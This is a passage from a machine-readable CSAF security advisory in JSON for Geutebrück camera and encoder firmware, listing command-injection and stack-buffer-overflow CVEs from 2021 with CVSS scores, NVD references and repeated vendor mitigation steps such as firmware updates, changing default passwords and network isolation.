"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33544",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33544 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33544"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33545",
"cwe": {
"id": "CWE-121",
"name": "Stack-based Buffer Overflow"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to a stack-based buffer overflow condition in the counter parameter which may allow an attacker to remotely execute arbitrary code.CVE-2021-33545 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33545"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33546",
"cwe": {
"id": "CWE-121",
"name": "Stack-based Buffer Overflow"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to a stack-based buffer overflow condition in the name parameter, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33546 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33546"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33547",
"cwe": {
"id": "CWE-121",
"name": "Stack-based Buffer Overflow"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to a stack-based buffer overflow condition in the profile parameter which may allow an attacker to remotely execute arbitrary code.CVE-2021-33547 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33547"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33548",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33548 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33548"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33549",
"cwe": {
"id": "CWE-121",
"name": "Stack-based Buffer Overflow"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33549 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33549"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Ultimately shut down or disconnect the cameras from the network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"products": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
}
]
},
{
"cve": "CVE-2021-33550",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "summary",
"text": "The affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.CVE-2021-33550 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33550"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Change the default passwords of the cameras.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "Locate control system networks and remote devices behind firewalls and isolate them from the business network.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
"details": "When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
{
"category": "mitigation",
